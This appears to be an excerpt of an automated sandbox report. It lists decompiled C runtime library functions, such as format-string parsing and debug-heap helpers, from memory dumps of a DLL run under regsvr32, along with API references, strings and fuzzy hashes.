0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
0, xrefs: 000007FEF9D3DCDF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: f21bac4cf66fd83060826b10cda673f64da0b58cdc9b26c9e440e84a16dbb144
Instruction ID: f27db2fcef6f8d513c01393a57896d629d62aa2ad95cdf3e250bd1829576e434
Opcode Fuzzy Hash: f21bac4cf66fd83060826b10cda673f64da0b58cdc9b26c9e440e84a16dbb144
Instruction Fuzzy Hash: FA510CB2A0C6C28AE7B09B64E8407BEB7E0F385346F600125D6CA869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 642eb86adef82c061240f963ecada7643a5a14508ef6930c6b5b5b901d4a1b0a
Instruction ID: e5e15c00c08c12f84a3dc3260eb1d354ac6b745d6778a8e2653f024642a32d0f
Opcode Fuzzy Hash: 642eb86adef82c061240f963ecada7643a5a14508ef6930c6b5b5b901d4a1b0a
Instruction Fuzzy Hash: 0D515E72A0D6C28AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 84afe223306fb715127401468d722999f495e1b64e531eed53167a130bda57e2
Instruction ID: 8bcff37972761654e6234074656759b20f0543a56075d35ebc75ec1029b84271
Opcode Fuzzy Hash: 84afe223306fb715127401468d722999f495e1b64e531eed53167a130bda57e2
Instruction Fuzzy Hash: 0451FCB2A0C6C28AE7B09B64E8407BEB7E4F394346F600125E6C9879A9D77DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 9b0d14d024408deea39e0a17da6f412b88ec8238870ee572ebff0cd3a83ccddf
Instruction ID: ff5535f435e3edde8ece23b3de1a4987682526c6b5e3102cfdc31443931d3947
Opcode Fuzzy Hash: 9b0d14d024408deea39e0a17da6f412b88ec8238870ee572ebff0cd3a83ccddf
Instruction Fuzzy Hash: D9416B72A0DAC28AE3F0DB24E8947BEB7E4E380345F600126D2DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: e93e5a5da9d23810187a949f5699427fbde4a421f2c98764f5e18462d0498a04
Instruction ID: 23759b0de1675013ddf4d03c0cfaf8b870fc7ca6517f58e2c4ab95e624369fc8
Opcode Fuzzy Hash: e93e5a5da9d23810187a949f5699427fbde4a421f2c98764f5e18462d0498a04
Instruction Fuzzy Hash: E5415EB2A0C6C28AE7F09B64E8407BE72E4F384746F600125D6C9875E9DB3DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
%.2X , xrefs: 000007FEF9D26DAD
(*_errno()), xrefs: 000007FEF9D26DF9

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: a5e89465a157929821ec7ea19f55365b45851ed2ed8ce63167a36004212f5177
Instruction ID: 5622a3d1d015b06430e144c3880eb2afd9b3a378503d823bdd7d048160e8afa8
Opcode Fuzzy Hash: a5e89465a157929821ec7ea19f55365b45851ed2ed8ce63167a36004212f5177
Instruction Fuzzy Hash: BB413C72A0D7C186E7A49B51E8907AEBBA1F784740FA14126D6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
